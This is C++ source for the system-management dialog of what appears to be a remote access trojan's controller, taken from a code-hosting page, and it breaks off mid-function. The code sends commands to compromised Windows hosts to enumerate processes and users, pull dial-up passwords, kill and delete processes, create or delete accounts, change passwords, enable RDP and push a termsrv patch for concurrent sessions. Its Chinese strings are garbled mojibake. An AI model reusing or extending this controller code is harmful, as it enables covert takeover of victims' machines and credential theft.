2024-06-23 17:36:53 +08:00

1280 lines
33 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// SystemDlg.cpp : implementation file
//
#include "stdafx.h"
#include "Client.h"
#include "SystemDlg.h"
#include "InputDlg.h"
#include "C_termsrv_t.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CSystemDlg dialog
CSystemDlg::CSystemDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CSystemDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CSystemDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SYSTEM));
m_bOnClose = FALSE;
dwMem = dwCpu = dwPrs = 0;
nRemotePort = 3389;
}
void CSystemDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CSystemDlg)
DDX_Control(pDX, IDC_LIST, m_list);
DDX_Control(pDX, IDC_TAB, m_tab);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
//{{AFX_MSG_MAP(CSystemDlg)
ON_WM_CLOSE()
ON_WM_SIZE()
ON_NOTIFY(TCN_SELCHANGE, IDC_TAB, OnSelchangeTab)
ON_COMMAND(ID_MENUITEM_KILLPROCESS, OnMenuitemKillprocess)
ON_COMMAND(ID_MENUITEM_REFRESH_SLIST, OnMenuitemRefreshSlist)
ON_NOTIFY(NM_RCLICK, IDC_LIST, OnRclickList)
ON_COMMAND(ID_MENUITEM_COPY, OnMenuitemCopy)
ON_COMMAND(ID_MENUITEM_WINDOW_RESTORED, OnMenuitemWindowRestored)
ON_COMMAND(ID_MENUITEM_WINDOW_HIDE, OnMenuitemWindowHide)
ON_COMMAND(ID_MENUITEM_WINDOW_CLOSE, OnMenuitemWindowClose)
ON_COMMAND(ID_MENUITEM_WINDOW_MAX, OnMenuitemWindowMax)
ON_COMMAND(ID_MENUITEM_WINDOW_MIN, OnMenuitemWindowMin)
ON_COMMAND(ID_MENUITEM_KILLANDDEL, OnMenuitemKillanddel)
ON_WM_TIMER()
ON_COMMAND(ID_MENUITEM_ACTIVE_USER, OnMenuitemActiveUser)
ON_COMMAND(ID_MENUITEM_DISABLE_USER, OnMenuitemDisableUser)
ON_COMMAND(ID_MENUITEM_ADD_USER, OnMenuitemAddUser)
ON_COMMAND(ID_MENUITEM_CHANGE_PASS, OnMenuitemChangePass)
ON_COMMAND(ID_MENUITEM_DEL_USER, OnMenuitemDelUser)
ON_COMMAND(ID_MENUITEM_DISCONNECT_USER, OnMenuitemDisconnectUser)
ON_COMMAND(ID_MENUITEM_LOGOFF_USER, OnMenuitemLogoffUser)
ON_BN_CLICKED(IDC_BUTTON_MSTSC, OnButtonMstsc)
ON_BN_CLICKED(IDC_BUTTON_CHANAGEPORT, OnButtonChanageport)
ON_BN_CLICKED(IDC_BUTTON_OPEN3389, OnButtonOpen3389)
ON_COMMAND(ID_MENUITEM_S_LOGOFF, OnMenuitemSLogoff)
ON_COMMAND(ID_MENUITEM_S_REBOOT, OnMenuitemSReboot)
ON_COMMAND(ID_MENUITEM_S_SHUTDOWN, OnMenuitemSShutdown)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CSystemDlg message handlers
void CSystemDlg::OnReceiveComplete()
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_PSLIST:
ShowProcessList();
break;
case TOKEN_WSLIST:
ShowWindowsList();
break;
case TOKEN_DIALUPASS:
ShowDialupassList();
break;
case TOKEN_SOFTWARE:
ShowSoftWareList();
break;
case TOKEN_SSLIST:
ShowSysInfoList();
break;
case TOKEN_USLIST:
ShowSysUserList();
break;
case TOKEN_ASLIST:
ShowUserStateList();
break;
case TOKEN_CPUMEMORY:
{
//////////////// MEM//////////////////////////////////////////////////////////
memcpy((void*)&dwMem,m_pContext->m_DeCompressionBuffer.GetBuffer(1),sizeof(DWORD));
//////////////// CPU//////////////////////////////////////////////////////////
memcpy((void*)&dwCpu,m_pContext->m_DeCompressionBuffer.GetBuffer(1)+sizeof(DWORD),sizeof(DWORD));
}
break;
case TOKEN_CHANGE_PSAA_SUCCESS:
::MessageBox(m_hWnd,_T("<EFBFBD>޸<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD>!"),"<EFBFBD><EFBFBD>ʾ",MB_YESNO);
break;
case TOKEN_GET_TERMSRV:
SendTermsrv_t();
break;
case TOKEN_TERMSRV_OK:
::MessageBox(m_hWnd,_T("˫<EFBFBD><EFBFBD>3389<EFBFBD>ɹ<EFBFBD>!"),"<EFBFBD><EFBFBD>ʾ",MB_YESNO);
break;
default:
// <20><><EFBFBD><EFBFBD><E4B7A2><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD>
break;
}
}
void CSystemDlg::SendTermsrv_t()
{
if (MessageBox(_T("<EFBFBD>˻<EFBFBD><EFBFBD><EFBFBD>ΪXPϵͳ,<2C>Ƿ<EFBFBD>˫<EFBFBD><CBAB>3389?"), _T("<EFBFBD><EFBFBD>ʾ"), MB_YESNO | MB_ICONQUESTION) == IDNO)
return;
int nPacketLength = 1 + termsrv_tMyFileSize;
LPBYTE lpPacket = new BYTE[nPacketLength];
if (lpPacket == NULL)
return;
lpPacket[0] = COMMAND_SEND_TERMSRV;
memcpy(lpPacket + 1, termsrv_tMyFileBuf, termsrv_tMyFileSize);
m_iocpServer->Send(m_pContext,lpPacket,nPacketLength);
}
static UINT indicators[] =
{
ID_SEPARATOR, // status line indicator
ID_SEPARATOR, // status line indicator
ID_SEPARATOR, // status line indicator
ID_SEPARATOR, // status line indicator
};
BOOL CSystemDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
CString str;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
str.Format("ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>\\\\%s", IPAddress);
SetWindowText(str);
m_tab.InsertItem(0, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
m_tab.InsertItem(1, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
m_tab.InsertItem(2, "ϵͳ<EFBFBD><EFBFBD>Ϣ");
m_tab.InsertItem(3, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
m_tab.InsertItem(4, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
m_tab.InsertItem(5, "ϵͳ<EFBFBD>û<EFBFBD>");
m_tab.InsertItem(6, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>");
m_tab.SetTheme(xtpControlThemeUltraFlat);
HWND hWndHeader =m_list.GetDlgItem(0)->GetSafeHwnd();// m_pListCtrl->GetDlgItem(0)->GetSafeHwnd();
m_header.SubclassWindow(hWndHeader);
if (!m_wndStatusBar.Create(this) ||
!m_wndStatusBar.SetIndicators(indicators,
sizeof(indicators)/sizeof(UINT)))
{
TRACE0("Failed to create status bar\n");
return -1; // fail to create
}
m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_NORMAL, 100);
m_wndStatusBar.SetPaneInfo(1, m_wndStatusBar.GetItemID(1), SBPS_NORMAL, 130);
m_wndStatusBar.SetPaneInfo(2, m_wndStatusBar.GetItemID(2), SBPS_NORMAL, 150);
m_wndStatusBar.SetPaneInfo(3, m_wndStatusBar.GetItemID(3), SBPS_STRETCH, NULL);
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //<2F><>ʾ״̬<D7B4><CCAC>
SetTimer(1, 3000, NULL); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> 1
SetDlgItemText(IDC_EDIT_PORT,"3389");
AdjustList();
ShowProcessList();
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CSystemDlg::AdjustList()
{
// ״̬<D7B4><CCAC><EFBFBD><EFBFBD>û<EFBFBD>д<EFBFBD><D0B4><EFBFBD>
if (m_wndStatusBar.m_hWnd == NULL)
return;
// <20><>λ״̬<D7B4><CCAC>
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
RECT rectClient;
RECT rectList;
RECT rectTab;
GetClientRect(&rectClient);
rectList.left = 20;
rectList.top = 35;
rectList.right = rectClient.right - 20;
rectList.bottom = rectClient.bottom - 70;
rectTab.left = 5;
rectTab.top = 0;
rectTab.right = rectClient.right - 5;
rectTab.bottom = rectClient.bottom - 25;
m_tab.MoveWindow(&rectTab);
m_list.MoveWindow(&rectList);
}
CString __MakePriority(DWORD dwPriClass)
{
CString strRet;
switch(dwPriClass)
{
case REALTIME_PRIORITY_CLASS:
strRet = "ʵʱ";
break;
case HIGH_PRIORITY_CLASS:
strRet = "<EFBFBD><EFBFBD>";
break;
case ABOVE_NORMAL_PRIORITY_CLASS:
strRet = "<EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD>׼";
break;
case NORMAL_PRIORITY_CLASS:
strRet = "<EFBFBD><EFBFBD>׼";
break;
case BELOW_NORMAL_PRIORITY_CLASS:
strRet = "<EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD>׼";
break;
case IDLE_PRIORITY_CLASS:
strRet = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
break;
default:
strRet = "δ֪";
break;
}
return strRet;
}
void CSystemDlg::ShowProcessList()
{
DeleteList();
m_list.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
m_list.InsertColumn(0, "ӳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 100);
m_list.InsertColumn(1, "PID", LVCFMT_LEFT, 50);
m_list.InsertColumn(2, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><EFBFBD>", LVCFMT_LEFT, 230);
m_list.InsertColumn(3, "<EFBFBD><EFBFBD><EFBFBD>ȼ<EFBFBD>", LVCFMT_LEFT, 50);
m_list.InsertColumn(4, "<EFBFBD>߳<EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 50);
m_list.InsertColumn(5, "<EFBFBD>û<EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 70);
m_list.InsertColumn(6, "<EFBFBD>ڴ<EFBFBD>", LVCFMT_LEFT, 70);
m_list.InsertColumn(7, "<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>С", LVCFMT_LEFT, 80);
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
char *strExeFile;
char *strProcessName;
char *strTemp;
DWORD dwOffset = 0;
CString str;
char *strProcessUser;
for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
{
LPDWORD lpPID = LPDWORD(lpBuffer + dwOffset);
strExeFile = lpBuffer + dwOffset + sizeof(DWORD);
strProcessName = strExeFile + lstrlen(strExeFile) + 1;
strTemp = strProcessName + lstrlen(strProcessName)+1;
LPDWORD lpdwPriClass = LPDWORD(strTemp);
LPDWORD lpdwThreads = LPDWORD(strTemp + sizeof(DWORD));
strProcessUser = strTemp + sizeof(DWORD)*2;
LPDWORD lpdwWorkingSetSize = LPDWORD(strProcessUser + lstrlen(strProcessUser)+1);
LPDWORD lpdwFileSize = LPDWORD(strProcessUser + lstrlen(strProcessUser)+1 + sizeof(DWORD));
m_list.InsertItem(i, strExeFile,2);
str.Format("%5u", *lpPID);
m_list.SetItemText(i, 1, str);
m_list.SetItemText(i, 2, strProcessName);
m_list.SetItemText(i, 3,__MakePriority(*lpdwPriClass));
str.Format("%5u", *lpdwThreads);
m_list.SetItemText(i, 4, str);
m_list.SetItemText(i, 5, strProcessUser);
str.Format("%5u K",*lpdwWorkingSetSize);
m_list.SetItemText(i, 6 , str);
str.Format("%5u KB",*lpdwFileSize);
m_list.SetItemText(i, 7 , str);
// ItemData Ϊ<><CEAA><EFBFBD><EFBFBD>ID
m_list.SetItemData(i, *lpPID);
dwOffset += sizeof(DWORD)*5 + lstrlen(strExeFile) + lstrlen(strProcessName) + lstrlen(strProcessUser) + 3;
}
dwPrs = i;
str.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><EFBFBD> / %d", i);
LVCOLUMN lvc;
lvc.mask = LVCF_TEXT;
lvc.pszText = str.GetBuffer(0);
lvc.cchTextMax = str.GetLength();
m_list.SetColumn(2, &lvc);
}
BOOL CSystemDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: Add your specialized code here and/or call the base class
if ( pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_F5)
{
OnMenuitemRefreshSlist();
return TRUE;
}
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE))
{
return true;
}
return CDialog::PreTranslateMessage(pMsg);
}
void CSystemDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
closesocket(m_pContext->m_Socket);
m_bOnClose = TRUE;
CDialog::OnClose();
}
void CSystemDlg::PostNcDestroy()
{
// TODO: Add your specialized code here and/or call the base class
if(!m_bOnClose)
OnClose();
delete this;
CDialog::PostNcDestroy();
}
void CSystemDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
if (!IsWindowVisible())
return;
// TODO: Add your message handler code here
AdjustList();
}
void CSystemDlg::OnSelchangeTab(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
ShowSelectWindow();
*pResult = 0;
}
void CSystemDlg::DeleteList()
{
m_list.DeleteAllItems();
int nColumnCount= m_list.GetHeaderCtrl()->GetItemCount();
for(int n=0;n<nColumnCount;n++)
{
m_list.DeleteColumn(0);
}
}
void CSystemDlg::ShowSelectWindow()
{
DeleteList();
switch (m_tab.GetCurSel())
{
case 0:
GetProcessList();
break;
case 1:
GetWindowsList();
break;
case 2:
GetSysInfoList();
break;
case 3:
GetDialupassList();
break;
case 4:
GetSoftWareList();
break;
case 5:
GetSysUserList();
break;
case 6:
GetUserStateList();
break;
default:
break;
}
}
void CSystemDlg::GetProcessList()
{
BYTE bToken = COMMAND_PSLIST;
m_iocpServer->Send(m_pContext, &bToken, 1);
}
void CSystemDlg::GetWindowsList()
{
BYTE bToken = COMMAND_WSLIST;
m_iocpServer->Send(m_pContext, &bToken, 1);
}
void CSystemDlg::GetSoftWareList()
{
BYTE bToken = COMMAND_SOFTWARELIST;
m_iocpServer->Send(m_pContext, &bToken, 1);
}
void CSystemDlg::GetSysUserList()
{
BYTE bToken = COMMAND_USLIST;
m_iocpServer->Send(m_pContext, &bToken, 1);
}
void CSystemDlg::GetSysInfoList()
{
BYTE bToken = COMMAND_SSLIST;
m_iocpServer->Send(m_pContext, &bToken, 1);
}
void CSystemDlg::GetUserStateList()
{
BYTE bToken = COMMAND_ASLIST;
m_iocpServer->Send(m_pContext, &bToken, 1);
}
void CSystemDlg::GetDialupassList()
{
DeleteList();
m_list.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
m_list.InsertColumn(0, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 70);
m_list.InsertColumn(1, "<EFBFBD>û<EFBFBD>", LVCFMT_LEFT, 85);
m_list.InsertColumn(2, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 75);
m_list.InsertColumn(3, "<EFBFBD>绰/<2F><><EFBFBD><EFBFBD>", LVCFMT_LEFT, 80);
m_list.InsertColumn(5, "<EFBFBD>", LVCFMT_LEFT, 130);
BYTE bToken = COMMAND_DSLIST;
m_iocpServer->Send(m_pContext, &bToken, 1);
}
void CSystemDlg::ShowSoftWareList()
{
LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
DWORD dwOffset = 0;
DeleteList();
m_list.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
m_list.InsertColumn(0, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 130);
m_list.InsertColumn(1, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 85);
m_list.InsertColumn(2, "<EFBFBD>", LVCFMT_LEFT, 75);
m_list.InsertColumn(3, "<EFBFBD><EFBFBD>װʱ<EFBFBD><EFBFBD>", LVCFMT_LEFT, 80);
m_list.InsertColumn(4, "ж<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 300);
for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
{
for (int j = 0; j < 5; j++)
{
char *lpString = (char *)lpBuffer + dwOffset;
if (j == 0)
m_list.InsertItem(i, lpString);
else
m_list.SetItemText(i, j, lpString);
dwOffset += lstrlen(lpString) + 1;
}
}
}
void CSystemDlg::ShowDialupassList()
{
if(2 != m_tab.GetCurSel())
return;
LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
DWORD dwOffset = 0;
for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
{
for (int j = 0; j < 6; j++)
{
char *lpString = (char *)lpBuffer + dwOffset;
if (j > 0)
{
if (j == 1)
m_list.InsertItem(i, lpString);
else
m_list.SetItemText(i, j - 1, lpString);
}
dwOffset += lstrlen(lpString) + 1;
}
}
}
void CSystemDlg::ShowWindowsList()
{
DeleteList();
m_list.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
m_list.InsertColumn(0, "PID", LVCFMT_LEFT, 75);
m_list.InsertColumn(1, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 70);
m_list.InsertColumn(2, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 250);
m_list.InsertColumn(3, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬", LVCFMT_LEFT, 70);
LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
DWORD dwOffset = 0;
char *lpTitle = NULL;
CString str;
for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
{
LPDWORD lpPID = LPDWORD(lpBuffer + dwOffset);
LPDWORD hwnd = LPDWORD(lpBuffer + dwOffset + sizeof(DWORD));
lpTitle = (char *)lpBuffer + dwOffset + sizeof(DWORD)*2;
str.Format("%5u", *lpPID);
m_list.InsertItem(i, str,25);
str.Format("%5u", *hwnd);
m_list.SetItemText(i, 1,str);
m_list.SetItemText(i, 2, lpTitle);
m_list.SetItemText(i, 3,"<EFBFBD><EFBFBD>ʾ");
// ItemData Ϊ<><CEAA><EFBFBD><EFBFBD>ID
m_list.SetItemData(i, *lpPID);
dwOffset += sizeof(DWORD)*2 + lstrlen(lpTitle) + 1;
}
str.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> / %d", i);
LVCOLUMN lvc;
lvc.mask = LVCF_TEXT;
lvc.pszText = str.GetBuffer(0);
lvc.cchTextMax = str.GetLength();
m_list.SetColumn(2, &lvc);
}
void CSystemDlg::OnMenuitemRefreshSlist()
{
// TODO: Add your command handler code here
ShowSelectWindow();
}
void CSystemDlg::OnRclickList(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
CMenu popup;
popup.LoadMenu(IDR_MENU_SLIST);
CMenu* pM = popup.GetSubMenu(0);
CPoint p;
GetCursorPos(&p);
int a1[12] = {4,5,6,7,8,9,10,11,12,13,14,15};
int a2[7] = {9,10,11,12,13,14,15};
int a3[14] = {2,3,4,5,6,7,8,9,10,11,12,13,14,15};
int a4[9] = {2,3,4,5,6,7,8,14,15};
int a5[12] = {2,3,4,5,6,7,8,9,10,11,12,13};
switch(m_tab.GetCurSel())
{
case 0:
{
for (int i = 12 ; i> 0;i--)
{
pM->DeleteMenu(a1[i-1], MF_BYPOSITION);
}
}
break;
case 1:
{
for (int i = 7 ; i> 0;i--)
{
pM->DeleteMenu(a2[i-1], MF_BYPOSITION);
}
}
break;
case 2:
case 3:
case 4:
{
for (int i = 14 ; i> 0;i--)
{
pM->DeleteMenu(a3[i-1], MF_BYPOSITION);
}
}
break;
case 5:
{
for (int i = 9 ; i> 0;i--)
{
pM->DeleteMenu(a4[i-1], MF_BYPOSITION);
}
}
break;
case 6:
{
for (int i = 12 ; i> 0;i--)
{
pM->DeleteMenu(a5[i-1], MF_BYPOSITION);
}
}
break;
default:
break;
}
CXTPCommandBars::TrackPopupMenu(pM, 0, p.x, p.y, this);
*pResult = 0;
}
void CSystemDlg::SetClipboardText(CString &Data)
{
if(::OpenClipboard(NULL) == 0)
return;
EmptyClipboard();
HGLOBAL htext = GlobalAlloc(GHND, Data.GetLength() + 1);
if(htext != 0)
{
CopyMemory(GlobalLock(htext), Data.GetBuffer(0), Data.GetLength());
GlobalUnlock(htext);
SetClipboardData(1, (HANDLE)htext);
GlobalFree(htext);
}
CloseClipboard();
}
void CSystemDlg::OnMenuitemCopy()
{
// TODO: Add your command handler code here
if (m_list.GetSelectedCount() < 1)
{
return ;
}
POSITION pos = m_list.GetFirstSelectedItemPosition();
CString Data;
CString temp;
while(pos)
{
temp = "";
int nItem = m_list.GetNextSelectedItem(pos);
for(int i = 0; i < m_list.GetHeaderCtrl()-> GetItemCount(); i++)
{
temp += m_list.GetItemText(nItem, i);
temp += " ";
}
Data += temp;
Data += "\r\n";
}
SetClipboardText(Data);
MessageBox("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>");
}
void CSystemDlg::OnMenuitemWindowRestored()
{
// TODO: Add your command handler code here
BYTE lpMsgBuf[20];
int nItem = m_list.GetSelectionMark();
if (nItem >=0 )
{
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]=COMMAND_WINDOW_TEST;
DWORD hwnd = atoi(m_list.GetItemText(nItem, 1));
m_list.SetItemText(nItem,3,"<EFBFBD><EFBFBD>ʾ");
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_RESTORE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnMenuitemWindowHide()
{
// TODO: Add your command handler code here
BYTE lpMsgBuf[20];
int nItem = m_list.GetSelectionMark();
if (nItem >=0 )
{
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]=COMMAND_WINDOW_TEST;
DWORD hwnd = atoi(m_list.GetItemText(nItem, 1));
m_list.SetItemText(nItem,3,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_HIDE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnMenuitemWindowClose()
{
// TODO: Add your command handler code here
BYTE lpMsgBuf[20];
int nItem = m_list.GetSelectionMark();
if (nItem >=0 )
{
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]=COMMAND_WINDOW_CLOSE;
DWORD hwnd = atoi(m_list.GetItemText(nItem, 1));
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnMenuitemWindowMax()
{
// TODO: Add your command handler code here
BYTE lpMsgBuf[20];
int nItem = m_list.GetSelectionMark();
if (nItem >=0 )
{
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]=COMMAND_WINDOW_TEST;
DWORD hwnd = atoi(m_list.GetItemText(nItem, 1));
m_list.SetItemText(nItem,3,"<EFBFBD><EFBFBD>ʾ");
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_MAXIMIZE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnMenuitemWindowMin()
{
// TODO: Add your command handler code here
BYTE lpMsgBuf[20];
int nItem = m_list.GetSelectionMark();
if (nItem >=0 )
{
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]=COMMAND_WINDOW_TEST;
DWORD hwnd = atoi(m_list.GetItemText(nItem, 1));
m_list.SetItemText(nItem,3,"<EFBFBD><EFBFBD>ʾ");
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_MINIMIZE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnMenuitemKillanddel()
{
// TODO: Add your command handler code here
OnMenuitemKillprocesss(TRUE);
}
void CSystemDlg::OnMenuitemKillprocess()
{
// TODO: Add your command handler code here
OnMenuitemKillprocesss(TRUE);
}
void CSystemDlg::OnMenuitemKillprocesss(BOOL bNeedDel = FALSE)
{
// TODO: Add your command handler code here
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 2 + (m_list.GetSelectedCount() * 4));
if (m_tab.GetCurSel() == 0 )
{
lpBuffer[0] = COMMAND_KILLPROCESS;
}
else
{
lpBuffer[0] = COMMAND_KILLPROCESS_WINDOW;
}
CString strText;
if(bNeedDel == TRUE)
{
strText = "<EFBFBD><EFBFBD>ɾ<EFBFBD><EFBFBD>";
lpBuffer[1] = 1;
}
else
{
strText = "";
lpBuffer[1] = 0;
}
char *lpTips = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><>ֹ<EFBFBD><D6B9><EFBFBD>̻ᵼ<CCBB>²<EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD>\n"
"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݶ<EFBFBD>ʧ<EFBFBD><EFBFBD>ϵͳ<EFBFBD><EFBFBD><EFBFBD>ȶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD><EFBFBD><EFBFBD>ֹǰ<EFBFBD><EFBFBD>\n"
"<EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD>û<EFBFBD>л<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݡ<EFBFBD>";
CString str;
if (m_list.GetSelectedCount() > 1)
{
str.Format("%sȷʵ\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ%s<><73>%d<><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?", lpTips, strText,m_list.GetSelectedCount());
}
else
{
str.Format("%sȷʵ\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ%s<><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?", lpTips,strText);
}
if (::MessageBox(m_hWnd, str, "<EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_YESNO|MB_ICONQUESTION) == IDNO)
return;
DWORD dwOffset = 2;
POSITION pos = m_list.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = m_list.GetNextSelectedItem(pos);
DWORD dwProcessID = m_list.GetItemData(nItem);
memcpy(lpBuffer + dwOffset, &dwProcessID, sizeof(DWORD));
dwOffset += sizeof(DWORD);
}
m_iocpServer->Send(m_pContext, lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
void CSystemDlg::ShowSysInfoList()
{
DeleteList();
m_list.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
m_list.InsertColumn(0, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 100);
